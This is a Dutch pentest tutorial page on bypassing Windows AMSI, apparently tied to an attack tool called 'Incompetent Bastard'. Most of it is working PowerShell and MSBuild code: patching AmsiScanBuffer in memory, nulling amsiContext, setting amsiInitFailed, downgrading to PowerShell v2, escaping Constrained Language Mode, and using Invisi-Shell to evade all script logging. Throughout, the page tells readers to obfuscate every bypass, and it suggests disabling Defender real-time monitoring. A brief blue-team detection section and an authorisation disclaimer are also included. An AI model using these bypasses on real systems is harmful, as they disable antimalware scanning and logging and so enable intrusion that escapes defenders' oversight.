CertifiedHacker

AMSI Bypass Technieken

AMSI Bypass Technieken

AMSI Bypass Technieken

Het Antimalware Scan Interface (AMSI) is een van de belangrijkste verdedigingslagen in moderne Windows-omgevingen. Als pentester of red teamer loop je er regelmatig tegenaan wanneer je PowerShell-payloads wilt uitvoeren op een gecompromitteerd systeem. In deze tutorial behandelen we de architectuur van AMSI, de meest gebruikte bypass-technieken en hoe je deze toepast tijdens geautoriseerde beveiligingstests.

Niveau: Gevorderd

Let op — Deze technieken mogen uitsluitend worden toegepast binnen geautoriseerde penetratietests. Ongeautoriseerd gebruik is strafbaar.

Vereisten

  • Windows 10/11 of Windows Server 2016+ testomgeving
  • PowerShell 5.1 of hoger
  • Basiskennis van .NET en PowerShell
  • Visual Studio of een C# compiler (optioneel, voor custom payloads)
  • Incompetent Bastard (IB) draaiend op je aanvalsmachine
  • Kennis van geheugenmanipulatie en Windows internals is een pré

Hoe AMSI werkt

De AMSI-architectuur

AMSI is een interface die Microsoft introduceerde in Windows 10. Het stelt antivirusproducten in staat om scripts en code te scannen voordat ze worden uitgevoerd. De flow ziet er als volgt uit:

  1. Een applicatie (bijv. PowerShell) stuurt inhoud naar AMSI via AmsiScanBuffer() of AmsiScanString()
  2. AMSI routeert de scan naar de geregistreerde antimalware-provider (bijv. Windows Defender)
  3. De provider retourneert een resultaat: AMSI_RESULT_CLEAN, AMSI_RESULT_DETECTED, etc.
  4. De applicatie beslist op basis van het resultaat of de code wordt uitgevoerd

Belangrijke functies in amsi.dll

De kernfuncties die AMSI aanbiedt vanuit amsi.dll:

  • AmsiInitialize — Initialiseert de AMSI-sessie en maakt een context-object aan
  • AmsiOpenSession — Opent een scansessie binnen een bestaande context
  • AmsiScanBuffer — Scant een buffer met willekeurige inhoud
  • AmsiScanString — Scant een string (roept intern AmsiScanBuffer aan)
  • AmsiCloseSession — Sluit de scansessie
  • AmsiUninitialize — Ruimt de AMSI-context op

Welke applicaties gebruiken AMSI?

AMSI wordt standaard aangeroepen door:

  • PowerShell (vanaf versie 5.0)
  • Windows Script Host (wscript/cscript)
  • JavaScript en VBScript
  • Office VBA macro’s (vanaf Office 365)
  • .NET assemblies geladen in PowerShell

Bypass Techniek 1: Memory Patching (AmsiScanBuffer)

Dit is de meest betrouwbare bypass. We overschrijven de AmsiScanBuffer-functie in het geheugen zodat deze altijd AMSI_RESULT_CLEAN retourneert.

Hoe het werkt

De techniek laadt amsi.dll, zoekt het adres van AmsiScanBuffer, wijzigt de geheugenpermissies naar schrijfbaar, en overschrijft de eerste bytes met instructies die direct een onschadelijk resultaat retourneren.

Implementatie

# Stap 1: Definieer Win32 API functies via P/Invoke
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint np, out uint op);
}
"@
Add-Type $Win32

# Stap 2: Laad amsi.dll en vind AmsiScanBuffer
$lib = [Win32]::LoadLibrary("amsi.dll")
$addr = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")

# Stap 3: Maak het geheugen schrijfbaar (PAGE_EXECUTE_READWRITE = 0x40)
$oldProtect = 0
[Win32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$oldProtect)

# Stap 4: Patch met bytes: mov eax, 0x80070057 (E_INVALIDARG) + ret
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)

Testen

# Dit zou normaal gedetecteerd worden door AMSI:
IEX 'amsiutils'
# Na de patch: geen detectie

IB — Gebruik het commando amsi_bypass_patch in de IB command library. Dit bevat een geoptimaliseerde one-liner variant van bovenstaande patch.

Detectie en tegenmaatregelen

Windows Defender detecteert bekende varianten van deze patch op basis van de byte-patronen. Obfuscatie van de PowerShell-code is daarom essentieel:

# Voorbeeld obfuscatie: variabele namen randomiseren
$a = "Ams"; $b = "iSc"; $c = "anB"; $d = "uffer"
# Bouw de functienaam dynamisch op
$funcName = $a + $b + $c + $d

Bypass Techniek 2: Reflection-based (AmsiContext Null Pointer)

Deze techniek gebruikt .NET reflection om interne velden van de AMSI-implementatie in PowerShell te manipuleren. Door de amsiContext-pointer op nul te zetten, faalt elke volgende scan.

Implementatie

# Zoek de AmsiUtils klasse via reflection
$types = [Ref].Assembly.GetTypes()
ForEach ($type in $types) {
    if ($type.Name -like "*iUtils") { $amsiUtils = $type }
}

# Zoek het amsiContext veld
$fields = $amsiUtils.GetFields('NonPublic,Static')
ForEach ($field in $fields) {
    if ($field.Name -like "*Context") { $contextField = $field }
}

# Zet de context pointer naar 0 (null)
$context = $contextField.GetValue($null)
[IntPtr]$ptr = $context
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

IB — Het commando amsi_bypass_reflection bevat een compacte versie. Combineer dit eventueel met Set-MpPreference -DisableRealtimeMonitoring $true als je admin-rechten hebt.

Beperkingen

  • Werkt in PowerShell 5.1 (pre-Windows 11 builds)
  • PowerShell 7+ gebruikt andere interne structuren
  • De string-patronen worden door Defender gedetecteerd; obfuscatie is vereist

Bypass Techniek 3: amsiInitFailed Flag

De eenvoudigste bypass: zet de interne amsiInitFailed-vlag naar true. PowerShell denkt dan dat AMSI-initialisatie is mislukt en slaat alle scans over.

Implementatie

# Zoek de AmsiUtils klasse
$types = [Ref].Assembly.GetTypes()
ForEach ($type in $types) {
    if ($type.Name -like "*iUtils") { $amsiUtils = $type }
}

# Zoek het amsiInitFailed veld
$fields = $amsiUtils.GetFields('NonPublic,Static')
ForEach ($field in $fields) {
    if ($field.Name -like "*Failed") { $initField = $field }
}

# Zet naar true
$initField.SetValue($null, $true)

IB — Gebruik het commando amsi_bypass_context voor deze techniek. Let op: de string amsiInitFailed wordt actief gemonitord door Defender.

Obfuscatie-voorbeeld

# Breek strings op om signature-detectie te omzeilen
$w = 'System.Management.Automation.A'
$c = 'si' + 'Ut' + 'ils'
$z = [Ref].Assembly.GetType(($w + 'm' + $c))
$f = $z.GetField(('a' + 'ms' + 'iI' + 'ni' + 'tF' + 'ai' + 'led'), 'NonPublic,Static')
$f.SetValue($null, $true)

Bypass Techniek 4: PowerShell Downgrade (v2)

PowerShell versie 2 heeft geen AMSI-integratie. Als .NET Framework 2.0 nog beschikbaar is op het doelsysteem, kun je simpelweg terugvallen op versie 2.

Controle en gebruik

# Check of PowerShell v2 beschikbaar is
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

# Start PowerShell v2 (geen AMSI, geen CLM)
powershell -version 2

# Verifieer de versie
$PSVersionTable.PSVersion

Beperkingen

  • Vereist .NET Framework 2.0/3.5 (vaak niet geinstalleerd op moderne systemen)
  • Geen toegang tot moderne PowerShell-modules
  • Wordt gelogd in Event Log (PowerShell engine start met versie 2)
  • Hardened omgevingen verwijderen deze feature

Bypass Techniek 5: Constrained Language Mode (CLM) Bypass

CLM beperkt welke .NET-types en -methoden je kunt gebruiken in PowerShell. Dit wordt vaak gecombineerd met AMSI. Als je CLM omzeilt, heb je volledige toegang tot .NET en kun je vervolgens AMSI patchen.

Methode 1: Custom Runspace

# Maak een nieuwe runspace aan die niet onder CLM valt
powershell -c "$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$p = $rs.CreatePipeline()
$p.Commands.AddScript('`$ExecutionContext.SessionState.LanguageMode')
$p.Invoke()"

Methode 2: PSBypassCLM via InstallUtil

# Gebruik InstallUtil om een .NET assembly te laden buiten CLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\tasks\PSBypassCLM.exe

Methode 3: MSBuild Inline Task

<!-- clm_bypass.xml - C# code wordt uitgevoerd buiten CLM -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Bypass">
    <ClassExample />
  </Target>
  <UsingTask TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
        using System;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample : Task, ITask {
            public override bool Execute() {
                Console.WriteLine("CLM Bypassed!");
                return true;
            }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\tasks\clm_bypass.xml

IB — Het commando amsi_bypass_clm bevat alle drie de methoden. Kies de methode die past bij de restricties van je doelomgeving.

Bypass Techniek 6: Invisi-Shell

Invisi-Shell gebruikt een custom CLR profiler DLL die hooks plaatst op de PowerShell-engine. Dit omzeilt niet alleen AMSI, maar ook Script Block Logging, Module Logging en Transcription.

Gebruik

# Met admin-rechten (registry keys in HKLM):
RunWithPathAsAdmin.bat

# Zonder admin-rechten (registry keys in HKCU):
RunWithRegistryNonAdmin.bat

# Na gebruik: exit om hooks en registry keys op te ruimen
exit

Voordelen

  • Omzeilt ALLE PowerShell-logging
  • AMSI bypass is niet meer apart nodig
  • Geen verdachte PowerShell-commando’s in logs

Aandachtspunten

  • Moet VOOR andere tools geladen worden
  • Werkt alleen in nieuwe PowerShell-processen
  • De DLL moet op het doelsysteem staan

IB — Gebruik het commando amsi_invisishell en zorg dat de InvisiShell bestanden via get_invisi of get_ie_invisi op het doelsysteem staan.

Bypass-strategie kiezen

Techniek Admin nodig Betrouwbaarheid Detectiekans Scope
Memory Patch Nee Hoog Middel Huidige sessie
Reflection Nee Middel Middel Huidige sessie
amsiInitFailed Nee Middel Hoog Huidige sessie
PS Downgrade Nee Laag Laag Nieuwe sessie
CLM Bypass Soms Middel Laag Nieuwe runspace
Invisi-Shell Optioneel Hoog Laag Nieuw proces

Aanbevolen aanpak

  1. Probeer eerst de memory patch (meest betrouwbaar)
  2. Als dat gedetecteerd wordt, gebruik Invisi-Shell (als je bestanden kunt uploaden)
  3. In geharde omgevingen: combineer CLM bypass met een obfuscated AMSI patch
  4. Als laatste redmiddel: PowerShell v2 downgrade (als beschikbaar)

Detectie vanuit Blue Team perspectief

Als verdediger kun je AMSI-bypasses detecteren door te letten op:

# Event ID 4104 - Script Block Logging
# Zoek naar verdachte patronen:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
    Where-Object { $_.Message -match 'AmsiScanBuffer|VirtualProtect|amsiInitFailed' }

Andere detectie-indicatoren:

  • Onverwachte aanroepen van VirtualProtect op amsi.dll-adresruimte
  • PowerShell-processen die starten met -version 2
  • Onbekende CLR profiler DLL’s in het register
  • Wijzigingen in HKLM\SOFTWARE\Microsoft\.NETFramework of HKCU\Environment\COR_PROFILER

Samenvatting

AMSI is een krachtige verdedigingslaag, maar kent meerdere bypass-mogelijkheden. De memory patch op AmsiScanBuffer is de meest betrouwbare methode, terwijl Invisi-Shell de meest uitgebreide bescherming biedt tegen detectie. In de praktijk zul je technieken moeten combineren en obfusceren, afhankelijk van de beveiligingsmaatregelen van het doelsysteem.

Belangrijke punten:

  • Ken de architectuur van AMSI voordat je probeert het te omzeilen
  • Obfusceer altijd je bypass-code om signature-detectie te voorkomen
  • Test je bypasses in een gecontroleerde omgeving voordat je ze inzet
  • Documenteer welke bypass je hebt gebruikt in je pentestrapport
  • Gebruik IB’s command library voor snelle toegang tot bewezen technieken

IB — Alle AMSI bypass commando’s zijn te vinden in de command library onder het amsi_ prefix. De bijbehorende payloads (zoals amsi-bypass.ps1 en amsi-shell.ps1) staan in de http/payloads/ directory.

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.